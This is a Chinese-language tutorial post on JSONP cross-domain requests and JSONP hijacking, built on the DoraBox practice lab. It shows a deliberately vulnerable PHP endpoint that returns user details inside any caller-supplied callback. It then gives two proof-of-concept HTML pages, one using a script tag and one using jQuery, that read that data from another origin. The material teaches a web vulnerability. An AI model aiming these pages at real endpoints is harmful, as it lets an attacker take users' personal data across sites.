标签:function 劫持 跨域 script callback json jsonp
JSONP跨域:
由于script标签不受浏览器同源策略影响,可以跨域引用资源,
所以可以动态构造<script>标签,来进行跨域请求。请求回来的数据
会通过一个指定的回调函数传回来
JSONP漏洞:
靶机代码
<?php include "../class/function.class.php"; $reqMethod = "GET"; $reqValue = "callback"; $p = new Func($reqMethod, $reqValue); $info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', 'sex' => 'Cool Man'); if(!@$_GET['callback']){ echo $p -> con_function('json_encode',$info); }else{ $callback = htmlspecialchars($_GET['callback']); echo "{$callback}(" . $p -> con_function('json_encode',$info) . ")"; } ?>
代码后面,判断了是否有callback参数,如果输出json格式的信息,
如果有,做一次实体编码转换,然后在输出json格式的信息。
利用代码:
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <title>jsonp</title> 6 7 </head> 8 <body> 9 <script type="text/javascript"> 10 function test(data) { 11 alert(data.username); 12 } 13 var body = document.getElementsByTagName('body')[0]; 14 var script = document.createElement('script'); 15 script.src = 'http://192.168.160.1/DoraBox-master/csrf/jsonp.php?callback=test'; 16 body.appendChild(script); 17 18 </script> 19 </body> 20 </html>
通过动态生成<script>来请求
使用jquery的$.getJSON()来进行请求
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>JSONPJQUERY</title> <script src="http://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script> </head> <body> <script> $.getJSON("http://192.168.160.1/DoraBox-master/csrf/jsonp.php?callback=?",function (data) { alert(data.username) }) </script> </body> </html>
标签:function,劫持,跨域,script,callback,json,jsonp 来源: https://www.cnblogs.com/s-qig57/p/12462833.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。